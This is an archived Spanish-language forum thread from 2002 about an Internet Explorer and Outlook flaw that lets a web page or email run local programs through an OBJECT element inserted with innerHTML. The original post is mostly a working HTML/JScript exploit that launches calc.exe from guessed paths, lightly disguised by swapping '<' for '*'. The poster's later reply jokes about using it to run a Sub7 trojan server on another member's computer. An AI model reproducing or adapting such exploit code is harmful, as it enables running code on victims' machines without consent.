PDA

Ver la versión completa : Ejecutando archivos a través de un HTML



MANDALA
06-03-2002, 04:05
El 10 de Enero del 2002 "The Pull" demostró como era posible usar un antiguo bug (descubierto inicialmente por Dildog) en el elemento <objet> del HTML, capaz de ejecutar comandos.
Aunque el hallazgo de "The Pull" era interesante, su análisis del reencontrado bug era erroneo, el problema no estaba en los elementos Popup, sino en la inserción de fragmentos de HTML en algún punto del documento.

Todo "createPopup" crea una ventana conteniendo un documento HTML vacío, este no representa una amenaza, pero mas adelante, el documento contiene una inserción de HTML (usando innerHTML), es ahí donde radica el verdadero problema.

Sistemas afectados:

Cualquier aplicación que contenga los "Web Browser control (5.5+), se ve afectada, debido a que este exploit no requiere del uso de ActiveX o Active Scripting. Algunas de estas aplicaciones son:


Microsoft Internet
ExplorerMicrosoft Outlook
Microsoft Outlook Express

La vulnerabilidad se ha comprobado en los siguientes sistemas:

IE5.5sp2 Win98, con todos los parches, Active scripting y ActiveX desactivados.
IE5.5sp2 NT4 sp6a, con todos los parches, Active scripting y ActiveX desactivados.IE6sp1 Win2000 sp2, con todos los parches, Active scripting y ActiveX desactivados.
IE6sp1 WinXP, acon todos los parches, Active scripting y ActiveX desactivados.


Explicación:

Una vez identificado el origen del problema podemos buscar la manera de insertar dinamicamente HTML sin usar Active Scripting .
Una de las caracteristicas que venian en IE4 era "Data Binding" que permite separar los datos de las aplicaciones de la presentación del código. Las fuentes de datos "data sources" (DSO) para los "Data Binding" pueden ser de muchos tipos, archivos CSV (con TDC), HTML, XML y muchos mas. Los elementos "Data Binding" enlazan elementos del HTML como div o span al DSO.
Cuando el atributo "dataFormatAs" es en el "HTML", el "Data Binding" utiliza el innerHTML para insertar los datos dentro del elemento.

Necesitamos por lo tanto pasar los DSO que contengan el elemento <objet> y el resto será hecho automáticamente por el "Data Binding".


Exploit:

En el ejemplo siguiente, estamos usando un XML como nuestro DSO y junto con el span. Usar XML es especialmente comodo porque el puede ser incluido en el documento, sin necesidad de peticiones externas que pueden ser paradas.

Este ejemplo lo publicó CyRaNo el 02/03/2002 en http://www.heinekenteam.com , en el cual utiliza un source para acertar con la ruta en la que se encuentra el archivo a ejecutar sin necesidad de conocerla. El codigo quedaría algo así:


*HTML>
*HEAD>
*TITLE>Test</TITLE>

*META http-equiv=Content-Type content="text/html; charset=windows-1252">
*SCRIPT language=JScript>

var programName=new Array(
'c:/windows/system32/calc.exe',
'c:/winnt/system32/calc.exe',
'c:/calc.exe',
'd:/windows/system32/calc.exe',
'd:/winnt/system32/calc.exe',
'd:/calc.exe'
);

function Init(){
var oPopup=window.createPopup();
var oPopBody=oPopup.document.body;
var n,html='';
for(n=0;n<programName.length;n++)
html+="<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111111' CODEBASE='"+programName[n]+"' %1='r'></OBJECT>";
oPopBody.innerHTML=html;
oPopup.show(290, 190, 200, 200, document.body);
}

*/SCRIPT>
*META content="MSHTML 6.00.2713.1100" name=GENERATOR>
*/HEAD>
*BODY onload=Init()>

*/BODY>
*/HTML>


sustituye * por <

Bye.

CrAcKzMe
06-03-2002, 19:08
Aminomerulatio xD

MANDALA
08-03-2002, 02:56
Ke putada!! ya no te puedo ejecutar el c:\Sub7\server.exe jajajajajaja!!!! :D :D
:cool: